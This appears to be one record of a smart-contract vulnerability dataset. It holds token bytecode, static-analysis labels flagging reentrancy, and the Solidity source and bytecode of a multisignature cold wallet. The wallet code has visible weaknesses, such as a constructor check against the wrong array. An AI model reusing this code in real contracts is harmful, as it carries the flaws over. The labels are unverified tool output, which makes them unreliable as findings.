1115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4229c333c5634f81304775a07fbbe6f1c7a05811e5d4b5621bd1dea6ebfe46764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,269 |
0xE38eF9A2566D551C251d4FdEd0a44D2DF854B3fc
|
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
pragma experimental ABIEncoderV2;
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function isPositive(Fraction memory fraction) internal pure returns (bool) {
return fraction.numerator > 0 && fraction.denominator > 0;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
r /= d;
} else {
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
r = value * m;
if (r / value == m) {
if (r % d == 0) {
r /= d;
} else {
r = (r / d) + 1;
}
} else {
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) {
return Math.Fraction({
numerator: mul(x.numerator, y.numerator),
denominator: mul(x.denominator, y.denominator)
});
}
}
contract FsTKColdWallet {
using Math for uint256;
event ConfirmationNeeded(address indexed initiator, bytes32 indexed operation, address indexed to, uint256 value, bytes data);
event Confirmation(address indexed authority, bytes32 indexed operation);
event Revoke(address indexed authority, bytes32 indexed operation);
event AuthorityChanged(address indexed oldAuthority, address indexed newAuthority);
event AuthorityAdded(address authority);
event AuthorityRemoved(address authority);
event RequirementChanged(uint256 required);
event DayLimitChanged(uint256 dayLimit);
event SpentTodayReset(uint256 spentToday);
event Deposit(address indexed from, uint256 value);
event SingleTransaction(address indexed authority, address indexed to, uint256 value, bytes data, address created);
event MultiTransaction(address indexed authority, bytes32 indexed operation, address indexed to, uint256 value, bytes data, address created);
struct TransactionInfo {
address to;
uint256 value;
bytes data;
}
struct PendingTransactionState {
TransactionInfo info;
uint256 confirmNeeded;
uint256 confirmBitmap;
uint256 index;
}
modifier onlyAuthority {
require(isAuthority(msg.sender));
_;
}
modifier confirmAndRun(bytes32 operation) {
if (confirmAndCheck(operation)) {
_;
}
}
uint256 constant MAX_AUTHORITIES = 250;
uint256 public requiredAuthorities;
uint256 public numAuthorities;
uint256 public dailyLimit;
uint256 public spentToday;
uint256 public lastDay;
address[256] public authorities;
mapping(address => uint256) public authorityIndex;
mapping(bytes32 => PendingTransactionState) public pendingTransaction;
bytes32[] public pendingOperation;
constructor(address[] _authorities, uint256 required, uint256 _daylimit) public {
require(
required > 0 &&
authorities.length >= required
);
numAuthorities = _authorities.length;
for (uint256 i = 0; i < _authorities.length; i += 1) {
authorities[1 + i] = _authorities[i];
authorityIndex[_authorities[i]] = 1 + i;
}
requiredAuthorities = required;
dailyLimit = _daylimit;
lastDay = today();
}
function() external payable {
if (msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
function getAuthority(uint256 index) public view returns (address) {
return authorities[index + 1];
}
function getAuthorityIndex(address authority) public view returns (uint256 index) {
index = authorityIndex[authority];
require(index > 0);
}
function isAuthority(address authority) public view returns (bool) {
return authorityIndex[authority] > 0;
}
function hasConfirmed(bytes32 operation, address _address) public view returns (bool) {
return (pendingTransaction[operation].confirmBitmap & (1 << getAuthorityIndex(_address))) != 0;
}
function changeAuthority(address from, address to) public confirmAndRun(keccak256(msg.data)) {
require(!isAuthority(to));
uint256 index = getAuthorityIndex(from);
authorities[index] = to;
authorityIndex[to] = index;
delete authorityIndex[from];
clearPending();
emit AuthorityChanged(from, to);
}
function addAuthority(address authority) public confirmAndRun(keccak256(msg.data)) {
require(!isAuthority(authority));
if (numAuthorities >= MAX_AUTHORITIES) {
reOrganizeAuthorities();
}
require(numAuthorities < MAX_AUTHORITIES);
numAuthorities += 1;
authorities[numAuthorities] = authority;
authorityIndex[authority] = numAuthorities;
clearPending();
emit AuthorityAdded(authority);
}
function removeAuthority(address authority) public confirmAndRun(keccak256(msg.data)) {
require(numAuthorities > requiredAuthorities);
uint256 index = getAuthorityIndex(authority);
delete authorities[index];
delete authorityIndex[authority];
clearPending();
reOrganizeAuthorities();
emit AuthorityRemoved(authority);
}
function setRequirement(uint256 required) public confirmAndRun(keccak256(msg.data)) {
require(numAuthorities >= requiredAuthorities);
clearPending();
emit RequirementChanged(requiredAuthorities = required);
}
function setDailyLimit(uint256 _dailyLimit) public confirmAndRun(keccak256(msg.data)) {
clearPending();
emit DayLimitChanged(dailyLimit = _dailyLimit);
}
function resetSpentToday() public confirmAndRun(keccak256(msg.data)) {
clearPending();
emit SpentTodayReset(spentToday);
delete spentToday;
}
function propose(
address to,
uint256 value,
bytes data
)
public
onlyAuthority
returns (bytes32 operation)
{
if ((data.length == 0 && checkAndUpdateLimit(value)) || requiredAuthorities == 1) {
emit SingleTransaction(msg.sender, to, value, data, execute0(to, value, data));
} else {
operation = keccak256(abi.encodePacked(msg.data, pendingOperation.length));
PendingTransactionState storage status = pendingTransaction[operation];
if (status.info.to == 0 && status.info.value == 0 && status.info.data.length == 0) {
status.info = TransactionInfo({
to: to,
value: value,
data: data
});
}
if (!confirm(operation)) {
emit ConfirmationNeeded(msg.sender, operation, to, value, data);
}
}
}
function revoke(bytes32 operation) public {
uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender);
PendingTransactionState storage state = pendingTransaction[operation];
if (state.confirmBitmap & confirmFlag > 0) {
state.confirmNeeded += 1;
state.confirmBitmap &= ~confirmFlag;
emit Revoke(msg.sender, operation);
}
}
function confirm(bytes32 operation) public confirmAndRun(operation) returns (bool) {
PendingTransactionState storage status = pendingTransaction[operation];
if (status.info.to != 0 || status.info.value != 0 || status.info.data.length != 0) {
emit MultiTransaction(
msg.sender,
operation,
status.info.to,
status.info.value,
status.info.data,
execute0(status.info.to, status.info.value, status.info.data)
);
delete pendingTransaction[operation].info;
return true;
}
}
function execute0(
address to,
uint256 value,
bytes data
)
private
returns (address created)
{
if (to == 0) {
created = create0(value, data);
} else {
require(to.call.value(value)(data));
}
}
function create0(uint256 value, bytes code) internal returns (address _address) {
assembly {
_address := create(value, add(code, 0x20), mload(code))
if iszero(extcodesize(_address)) {
revert(0, 0)
}
}
}
function confirmAndCheck(bytes32 operation) private returns (bool) {
PendingTransactionState storage pending = pendingTransaction[operation];
if (pending.confirmNeeded == 0) {
pending.confirmNeeded = requiredAuthorities;
delete pending.confirmBitmap;
pending.index = pendingOperation.length;
pendingOperation.push(operation);
}
uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender);
if (pending.confirmBitmap & confirmFlag == 0) {
emit Confirmation(msg.sender, operation);
if (pending.confirmNeeded <= 1) {
delete pendingOperation[pending.index];
delete pending.confirmNeeded;
delete pending.confirmBitmap;
delete pending.index;
return true;
} else {
pending.confirmNeeded -= 1;
pending.confirmBitmap |= confirmFlag;
}
}
}
function checkAndUpdateLimit(uint256 value) private returns (bool) {
if (today() > lastDay) {
spentToday = 0;
lastDay = today();
}
uint256 _spentToday = spentToday.add(value);
if (_spentToday <= dailyLimit) {
spentToday = _spentToday;
return true;
}
return false;
}
function today() private view returns (uint256) {
return block.timestamp / 1 days;
}
function reOrganizeAuthorities() private {
uint256 free = 1;
while (free < numAuthorities) {
while (free < numAuthorities && authorities[free] != 0) {
free += 1;
}
while (numAuthorities > 1 && authorities[numAuthorities] == 0) {
numAuthorities -= 1;
}
if (free < numAuthorities && authorities[numAuthorities] != 0 && authorities[free] == 0) {
authorities[free] = authorities[numAuthorities];
authorityIndex[authorities[free]] = free;
delete authorities[numAuthorities];
}
}
}
function clearPending() private {
for (uint256 i = 0; i < pendingOperation.length; i += 1) {
delete pendingTransaction[pendingOperation[i]];
}
delete pendingOperation;
}
}
|
0x6080604052600436106101265763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662033a1481146101805780632330f247146101b957806326defa73146101e65780633295feb314610206578063494503d41461022857806359ed55e1146102555780635c52c2f51461027557806367eeba0c1461028a5780636b0c932d1461029f578063797af627146102b45780638f56015f146102d457806393ba3f15146102f457806397db9a95146103145780639ef0ce1214610334578063b20d30a914610354578063b39c294414610374578063b75c7dc614610389578063c2cf7326146103a9578063d544e010146103c9578063f059cf2b146103e9578063f257bf3b146103fe578063ffae2c5b1461041e575b600034111561017e573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040516101759190611958565b60405180910390a25b005b34801561018c57600080fd5b506101a061019b3660046117c4565b61043e565b6040516101b09493929190611966565b60405180910390f35b3480156101c557600080fd5b506101d96101d43660046116ff565b610546565b6040516101b0919061194a565b3480156101f257600080fd5b5061017e6102013660046116ff565b610574565b34801561021257600080fd5b5061021b610688565b6040516101b09190611958565b34801561023457600080fd5b506102486102433660046117c4565b61068e565b6040516101b0919061193c565b34801561026157600080fd5b5061021b6102703660046117c4565b6106b9565b34801561028157600080fd5b5061017e6106d9565b34801561029657600080fd5b5061021b61074f565b3480156102ab57600080fd5b5061021b610755565b3480156102c057600080fd5b506101d96102cf3660046117c4565b61075b565b3480156102e057600080fd5b5061017e6102ef3660046117c4565b610959565b34801561030057600080fd5b5061021b61030f36600461175f565b6109d2565b34801561032057600080fd5b5061017e61032f366004611725565b610ca1565b34801561034057600080fd5b5061021b61034f3660046116ff565b610dc3565b34801561036057600080fd5b5061017e61036f3660046117c4565b610dd6565b34801561038057600080fd5b5061021b610e3e565b34801561039557600080fd5b5061017e6103a43660046117c4565b610e44565b3480156103b557600080fd5b506101d96103c43660046117e2565b610ec0565b3480156103d557600080fd5b5061017e6103e43660046116ff565b610ef0565b3480156103f557600080fd5b5061021b610fe0565b34801561040a57600080fd5b5061021b6104193660046116ff565b610fe6565b34801561042a57600080fd5b506102486104393660046117c4565b611019565b610106602090815260009182526040918290208251606081018452815473ffffffffffffffffffffffffffffffffffffffff1681526001808301548285015260028084018054875161010094821615949094027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff011691909104601f8101869004860283018601875280835293959294869493860193908301828280156105265780601f106104fb57610100808354040283529160200191610526565b820191906000526020600020905b81548152906001019060200180831161050957829003601f168201915b505050505081525050908060030154908060040154908060050154905084565b73ffffffffffffffffffffffffffffffffffffffff811660009081526101056020526040812054115b919050565b60003660405180838380828437820191505092505050604051809103902061059b8161104a565b15610684576105a982610546565b156105b357600080fd5b60015460fa116105c5576105c561117f565b60015460fa116105d457600080fd5b60018054810190819055829060059061010081106105ee57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9283161790556001549083166000908152610105602052604090205561064c61139a565b7f550a8ae64ec9d6640b6f168a26d3e6364b90defe8110c92135aa775b279e54ea8260405161067b919061193c565b60405180910390a15b5050565b60015481565b600581610100811061069c57fe5b015473ffffffffffffffffffffffffffffffffffffffff16905081565b6101078054829081106106c857fe5b600091825260209091200154905081565b6000366040518083838082843782019150509250505060405180910390206107008161104a565b1561074c5761070d61139a565b7f8c5b9565815ec5a5e089fa8c584c603d2cf75501c8054b228fd16d2b37e5da9d60035460405161073e9190611958565b60405180910390a160006003555b50565b60025481565b60045481565b600080826107688161104a565b1561095257600084815261010660205260409020805490925073ffffffffffffffffffffffffffffffffffffffff161515806107a75750600182015415155b806107e357506002808301547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018316150201160415155b1561095257815460018084015460028086018054604080516020601f97841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190931694909404958601829004820284018201905284835273ffffffffffffffffffffffffffffffffffffffff90951694899433947f84e1a43ea00f8f27f55c9ff6104a82757b92ce3e8355f9d766291e9b3b257a98949093926108ea9289928692909186918301828280156108e05780601f106108b5576101008083540402835291602001916108e0565b820191906000526020600020905b8154815290600101906020018083116108c357829003601f168201915b5050505050611446565b6040516108f9939291906119ef565b60405180910390a460008481526101066020526040812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600181018290559061094b600283018261159d565b5050600192505b5050919050565b6000366040518083838082843782019150509250505060405180910390206109808161104a565b1561068457600054600154101561099657600080fd5b61099e61139a565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da82600081905560405161067b9190611958565b6000806109de33610546565b15156109e957600080fd5b82511580156109fc57506109fc8461150d565b80610a0957506000546001145b15610a705773ffffffffffffffffffffffffffffffffffffffff8516337fe29ff7f5df4c2cda15eeda171b5f5be7165ab9338482450aaff790fdeeffaae08686610a548a8383611446565b604051610a63939291906119c0565b60405180910390a3610c99565b61010754604051600091369160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310610af257805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610ab5565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018019909216911617905260408051929094018290039091206000818152610106909252929020805492965094505073ffffffffffffffffffffffffffffffffffffffff16159150508015610b7657506001810154155b8015610bb257506002808201547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600183161502011604155b15610c33576040805160608101825273ffffffffffffffffffffffffffffffffffffffff8716808252602080830188905292820186905283547fffffffffffffffffffffffff00000000000000000000000000000000000000001617835560018301869055845190918391610c2f916002840191908801906115e1565b5050505b610c3c8261075b565b1515610c995760405173ffffffffffffffffffffffffffffffffffffffff861690839033907ff2c2e5d8bc7a0cb09c4b887a02749bd70772b58131354b79ad678e740be48d6690610c9090899089906119a0565b60405180910390a45b509392505050565b60008036604051808383808284378201915050925050506040518091039020610cc98161104a565b15610dbd57610cd783610546565b15610ce157600080fd5b610cea84610fe6565b9150826005836101008110610cfb57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92831617905583811660009081526101056020526040808220859055918616815290812055610d6261139a565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f275720694d99bebae3e30a093350471a8a15db9c771974d841c724b07a55f39260405160405180910390a35b50505050565b6101056020526000908152604090205481565b600036604051808383808284378201915050925050506040518091039020610dfd8161104a565b1561068457610e0a61139a565b7f31adeea0047ecd038070d2a2c068a63369e5da2093913417dad947c722e66c9f82600281905560405161067b9190611958565b60005481565b600080610e5033610fe6565b600084815261010660205260408120600481015460029390930a945092509083161115610ebb5760038101805460010190556004810180548319169055604051839033907fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b90600090a35b505050565b6000610ecb82610fe6565b6000848152610106602052604090206004015460029190910a16151590505b92915050565b60008036604051808383808284378201915050925050506040518091039020610f188161104a565b15610ebb5760005460015411610f2d57600080fd5b610f3683610fe6565b91506005826101008110610f4657fe5b0180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905573ffffffffffffffffffffffffffffffffffffffff831660009081526101056020526040812055610f9c61139a565b610fa461117f565b7f272215cde179041f7a3e8da6f8aabc7c8fc1336ccd73aba698cb825a80d3be4883604051610fd3919061193c565b60405180910390a1505050565b60035481565b73ffffffffffffffffffffffffffffffffffffffff81166000908152610105602052604081205490811161056f57600080fd5b6000600560018301610100811061102c57fe5b015473ffffffffffffffffffffffffffffffffffffffff1692915050565b6000818152610106602052604081206003810154829015156110b0576000805460038401556004830181905561010780546005850181905560018101825591527f47c4908e245f386bfc1825973249847f4053a761ddb4880ad63c323a7b5a2a25018490555b6110b933610fe6565b600483015460029190910a91508116151561095257604051849033907fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda90600090a3600382015460011061114457610107826005015481548110151561111b57fe5b600091825260208220018190556003830181905560048301819055600583015560019250610952565b6003820180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055600482018054821790555050919050565b60015b60015481101561074c575b600154811080156111c2575060058161010081106111a757fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b156111cf5760010161118d565b60018054118015611206575060015460059061010081106111ec57fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b1561123857600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190556111cf565b600154811080156112705750600154600590610100811061125557fe5b015473ffffffffffffffffffffffffffffffffffffffff1615155b801561129f5750600581610100811061128557fe5b015473ffffffffffffffffffffffffffffffffffffffff16155b156113955760015460059061010081106112b557fe5b015473ffffffffffffffffffffffffffffffffffffffff1660058261010081106112db57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055806101056000600583610100811061133357fe5b015473ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002055600154600590610100811061136d57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555b611182565b60005b61010754811015611439576101066000610107838154811015156113bd57fe5b60009182526020808320909101548352820192909252604001812080547fffffffffffffffffffffffff000000000000000000000000000000000000000016815560018101829055908181611415600283018261159d565b5050600060038301819055600483018190556005909201919091555060010161139d565b61074c610107600061165f565b600073ffffffffffffffffffffffffffffffffffffffff841615156114765761146f